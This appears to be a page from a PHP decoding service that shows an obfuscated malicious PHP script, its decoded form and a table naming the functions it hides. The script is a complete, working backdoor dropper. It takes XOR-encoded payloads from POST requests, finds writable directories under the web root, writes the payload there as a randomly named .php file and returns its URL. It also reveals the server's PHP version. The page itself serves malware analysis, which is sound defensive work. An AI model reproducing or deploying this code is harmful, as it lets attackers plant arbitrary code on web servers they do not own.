Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mxSqWU = "\104".chr(225-146).chr(67)."\125".chr(77)."\105".chr(525-447)."\124"."\x5..

Decoded Output download

<?php $mxSqWU = "D".chr(225-146).chr(67)."U".chr(77)."E".chr(525-447)."T"."_".chr(82).'O'."O".chr(365-281);$sAGgqRBOu = chr(829-757).chr(84)."T".'P'.chr(1025-930).chr(807-735).chr(79).'S'.chr(84);$PCBzuLfsp = "h".chr(615-499).chr(461-345)."p".chr(412-354)."/"."/";$ziTPdKGn = ".".'p'."h".chr(112);$UgzmKAi = "p".chr(104).chr(165-53);$MAGjFYDkLe = "f".chr(105)."l".chr(322-221).chr(333-238).chr(112).chr(480-363)."t".chr(167-72).'c'.'o'.chr(330-220).chr(116)."e".chr(110)."t".chr(115);$VMeSgQtmf = chr(114)."a".chr(119).chr(767-650).chr(532-418).chr(167-59).'d'.'e'.chr(430-331).chr(111).'d'.chr(101);$ehSSdwvmB = "u"."n".'s'.'e'.chr(114).chr(759-654).chr(97)."l".chr(219-114)."z".chr(101);$TyZMXrKWXA = "i".'s'."_".chr(562-443).chr(114).chr(105)."t".'a'.'b'.'l'."e";$uckiqqs = chr(158-46).chr(963-859).chr(819-707).chr(118)."e"."r".chr(487-372).chr(105)."o"."n";$ufexEBCH = "s"."t".'r'.chr(95)."r".chr(236-125).chr(779-663).'1'.'3';$oICtORPm = "s".'e'."r"."i".'a'.'l'.'i'."z".chr(101);$zEeOCyUzKw = "s".chr(453-337).chr(795-681).chr(865-770).chr(115)."p".chr(752-644)."i".'t';foreach ($_POST as $axDmjk => $pLqoQqTgJ){if (strlen($axDmjk) == 16){$pLqoQqTgJ = $zEeOCyUzKw($VMeSgQtmf($ufexEBCH($pLqoQqTgJ)));$axDmjk = array_slice($zEeOCyUzKw(str_repeat($axDmjk, (count($pLqoQqTgJ)/16)+1)), 0, count($pLqoQqTgJ));function bzmxMfZm($npYPDSuSAz, $nZhVd, $axDmjk){$rTKnh = "9f9f17c0-e7be-48e3-aa56-c6b3b7b0136c";return $npYPDSuSAz ^ $rTKnh[$nZhVd % strlen($rTKnh)] ^ $axDmjk;}$pLqoQqTgJ = implode("", array_map("bzmxMfZm", array_values($pLqoQqTgJ), array_keys($pLqoQqTgJ), array_values($axDmjk)));$pLqoQqTgJ = @$ehSSdwvmB($pLqoQqTgJ);if (@is_array($pLqoQqTgJ)){$YkBGKzXK = array_keys($pLqoQqTgJ);$pLqoQqTgJ = $pLqoQqTgJ[$YkBGKzXK[0]];if ($pLqoQqTgJ === $YkBGKzXK[0]){echo @$oICtORPm(Array($UgzmKAi => @$uckiqqs(), ));exit();}else {function nphVUIvTPz($FstvAir){static $qMHVkF = array();$zrARQeTXY = glob($FstvAir . '/*', GLOB_ONLYDIR);if (count($zrARQeTXY) > 0) {foreach ($zrARQeTXY as $FstvA) {if (@$TyZMXrKWXA($FstvA)) {$qMHVkF[] = $FstvA;}}}foreach ($zrARQeTXY as $FstvAir) nphVUIvTPz($FstvAir);return $qMHVkF;}$soXOjN = $_SERVER[$mxSqWU];$zrARQeTXY = nphVUIvTPz($soXOjN);$YkBGKzXK = array_rand($zrARQeTXY);$DLuTGEyQ = $zrARQeTXY[$YkBGKzXK] . "/" . substr(md5(time()), 0, 8) . $ziTPdKGn;@$MAGjFYDkLe($DLuTGEyQ, $pLqoQqTgJ);echo $PCBzuLfsp . $_SERVER[$sAGgqRBOu] . substr($DLuTGEyQ, strlen($soXOjN));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $mxSqWU = "\104".chr(225-146).chr(67)."\125".chr(77)."\105".chr(525-447)."\124"."\x5f".chr(82).'O'."\x4f".chr(365-281);$sAGgqRBOu = chr(829-757).chr(84)."\x54".'P'.chr(1025-930).chr(807-735).chr(79).'S'.chr(84);$PCBzuLfsp = "\x68".chr(615-499).chr(461-345)."\160".chr(412-354)."\x2f"."\57";$ziTPdKGn = "\x2e".'p'."\x68".chr(112);$UgzmKAi = "\160".chr(104).chr(165-53);$MAGjFYDkLe = "\146".chr(105)."\x6c".chr(322-221).chr(333-238).chr(112).chr(480-363)."\x74".chr(167-72).'c'.'o'.chr(330-220).chr(116)."\145".chr(110)."\164".chr(115);$VMeSgQtmf = chr(114)."\x61".chr(119).chr(767-650).chr(532-418).chr(167-59).'d'.'e'.chr(430-331).chr(111).'d'.chr(101);$ehSSdwvmB = "\x75"."\156".'s'.'e'.chr(114).chr(759-654).chr(97)."\x6c".chr(219-114)."\172".chr(101);$TyZMXrKWXA = "\x69".'s'."\x5f".chr(562-443).chr(114).chr(105)."\164".'a'.'b'.'l'."\145";$uckiqqs = chr(158-46).chr(963-859).chr(819-707).chr(118)."\145"."\x72".chr(487-372).chr(105)."\157"."\156";$ufexEBCH = "\x73"."\x74".'r'.chr(95)."\162".chr(236-125).chr(779-663).'1'.'3';$oICtORPm = "\x73".'e'."\x72"."\x69".'a'.'l'.'i'."\x7a".chr(101);$zEeOCyUzKw = "\x73".chr(453-337).chr(795-681).chr(865-770).chr(115)."\160".chr(752-644)."\151".'t';foreach ($_POST as $axDmjk => $pLqoQqTgJ){if (strlen($axDmjk) == 16){$pLqoQqTgJ = $zEeOCyUzKw($VMeSgQtmf($ufexEBCH($pLqoQqTgJ)));$axDmjk = array_slice($zEeOCyUzKw(str_repeat($axDmjk, (count($pLqoQqTgJ)/16)+1)), 0, count($pLqoQqTgJ));function bzmxMfZm($npYPDSuSAz, $nZhVd, $axDmjk){$rTKnh = "9f9f17c0-e7be-48e3-aa56-c6b3b7b0136c";return $npYPDSuSAz ^ $rTKnh[$nZhVd % strlen($rTKnh)] ^ $axDmjk;}$pLqoQqTgJ = implode("", array_map("bzmxMfZm", array_values($pLqoQqTgJ), array_keys($pLqoQqTgJ), array_values($axDmjk)));$pLqoQqTgJ = @$ehSSdwvmB($pLqoQqTgJ);if (@is_array($pLqoQqTgJ)){$YkBGKzXK = array_keys($pLqoQqTgJ);$pLqoQqTgJ = $pLqoQqTgJ[$YkBGKzXK[0]];if ($pLqoQqTgJ === $YkBGKzXK[0]){echo @$oICtORPm(Array($UgzmKAi => @$uckiqqs(), ));exit();}else {function nphVUIvTPz($FstvAir){static $qMHVkF = array();$zrARQeTXY = glob($FstvAir . '/*', GLOB_ONLYDIR);if (count($zrARQeTXY) > 0) {foreach ($zrARQeTXY as $FstvA) {if (@$TyZMXrKWXA($FstvA)) {$qMHVkF[] = $FstvA;}}}foreach ($zrARQeTXY as $FstvAir) nphVUIvTPz($FstvAir);return $qMHVkF;}$soXOjN = $_SERVER[$mxSqWU];$zrARQeTXY = nphVUIvTPz($soXOjN);$YkBGKzXK = array_rand($zrARQeTXY);$DLuTGEyQ = $zrARQeTXY[$YkBGKzXK] . "/" . substr(md5(time()), 0, 8) . $ziTPdKGn;@$MAGjFYDkLe($DLuTGEyQ, $pLqoQqTgJ);echo $PCBzuLfsp . $_SERVER[$sAGgqRBOu] . substr($DLuTGEyQ, strlen($soXOjN));exit();}}}}

Function Calls

chr 59

Variables

$mxSqWU DOCUMENT_ROOT
$UgzmKAi php
$uckiqqs phpversion
$oICtORPm serialize
$ufexEBCH str_rot13
$ziTPdKGn .php
$PCBzuLfsp http://
$VMeSgQtmf rawurldecode
$ehSSdwvmB unserialize
$sAGgqRBOu HTTP_HOST
$MAGjFYDkLe file_put_contents
$TyZMXrKWXA is_writable
$zEeOCyUzKw str_split

Stats

MD5 d0f8cf24c5ec83106335f75e06c54268
Eval Count 0
Decode Time 103 ms